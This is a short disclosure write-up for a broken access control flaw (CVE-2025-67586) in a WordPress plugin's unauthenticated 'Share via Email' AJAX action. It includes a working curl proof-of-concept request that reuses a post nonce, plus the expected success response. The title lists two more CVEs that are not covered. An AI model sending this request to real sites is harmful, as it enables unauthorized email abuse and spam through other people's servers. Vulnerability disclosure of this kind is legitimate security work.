
writeups for (CVE-2025-67586, CVE-2025-67985, CVE-2025-67986)
Writeups for (CVE-2025-67586, CVE-2025-67985, CVE-2025-67986)
-------------- CVE-2025-67586 Exploit PoC --------------
==> Description A broken access control vulnerability exists in a WordPress plugin developed by DLX Plugins. The plugin exposes an unauthenticated AJAX action that allows attackers to abuse the "Share via Email" functionality without proper permission checks.
An unauthenticated attacker can reuse a valid post nonce to trigger email sharing requests, leading to unauthorized email sending (email spam / abuse) without user authentication.
==> Privileges Required None (Unauthenticated)
==> Proof of Concept (PoC)
Step 1: Pick website with Installed Plugin
Step 2: Obtain a Valid Nonce
Step 3: Exploit via Unauthenticated Request
bash cmd: (replace website URL, post URL, and nonce)
curl -s -i -X POST 'http://localhost/wp-admin/admin-ajax.php'
-d 'action=has_email_form_submission'
-d 'formData[postId]='
-d 'formData[permalink]=http://localhost/?p='
-d 'formData[nonce]='
-d 'formData[toEmail]=[email protected]'
-d 'formData[subject]=PoC'
-d 'formData[shareText]=POC test'
-d 'formData[emailShareType]=selection'
--compressed
--> Expected JSON response:
{ "success": true, "data": { "errors": false, "message_title": "This post has been shared!", "message_body": "You have shared this post with [email protected]", "message_subject": "[Shared Post] ", "message_source_name": "Site Name", "message_source_email": "[email protected]" } }